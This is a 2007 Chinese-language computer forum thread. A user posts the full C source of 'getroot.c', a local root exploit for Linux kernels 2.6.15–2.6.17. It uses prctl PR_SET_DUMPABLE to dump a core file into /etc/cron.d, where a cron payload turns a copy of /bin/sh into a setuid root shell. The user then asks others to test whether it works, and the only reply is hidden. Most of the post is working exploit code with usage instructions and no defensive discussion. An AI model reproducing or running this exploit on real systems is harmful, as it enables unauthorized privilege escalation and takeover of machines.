聯成電腦技術論壇

 找回密碼
 註冊
搜索
查看: 1433|回復: 1

請問這程式是否真的可以取得root權限

[複製鏈接]
發表於 2007-1-11 00:33:10 | 顯示全部樓層 |閱讀模式
請問這程式是否真的可以取得root權限

/*
*getroot.c
* 2006/11/08 Linux 2.6.15 Exp
* Modified by gz1X <gz1X@tom.com>
* Thx to:
*

Marco Ivaldi <raptor@0xdeadbeef.info>
*
Julien TINNES
*
* Usage:
* $ gcc getroot.c -o getroot -Wall
* $ ./getroot
*
* test on dubuntu 2.6.15-23-686
* theoretically it will work on 2.6.15-2.6.17
*/
#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {

  int id,i;
  struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
  system("cp /bin/sh /tmp/sh");
  setrlimit(RLIMIT_CORE, &corelimit);

  if ( !( id = fork() )) {
    chdir("/etc/cron.d");
    prctl(PR_SET_DUMPABLE, 2);
    sleep(200);
    exit(1);
  }
  kill(id, SIGSEGV);

  fprintf(stderr, "Getting the root shell.Please wait...\n");
  for (i = 0; i < 120; i++) {
    fprintf(stderr, ".");
    sleep(1);
  }
  fprintf(stderr,"\n");   
  system("/tmp/sh");
  return 1;  
}

這個程式是否真的能取得root權限 大家請幫我test一下
我自已在FC4 kernle:2.6.11下test是不行的
我是creat一個一般帳戶然後執行上邊的程式 結果權限沒有改變呀
我沒有kernel:2.6.15-2.6.17的linux 究竟是kernel的問題 還是該程式根本不能得到root權限


PS.目前正在學PHP 不知道問題要發在哪一版耶
   小紀老師 可以發在這嗎
頭像被屏蔽
發表於 2007-1-14 22:47:31 | 顯示全部樓層
提示: 作者被禁止或刪除 內容自動屏蔽
您需要登錄後才可以回帖 登錄 | 註冊

本版積分規則

小黑屋|Archiver|手機版|聯成電腦技術論壇

GMT+8, 2024-11-15 09:52

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回復 返回頂部 返回列表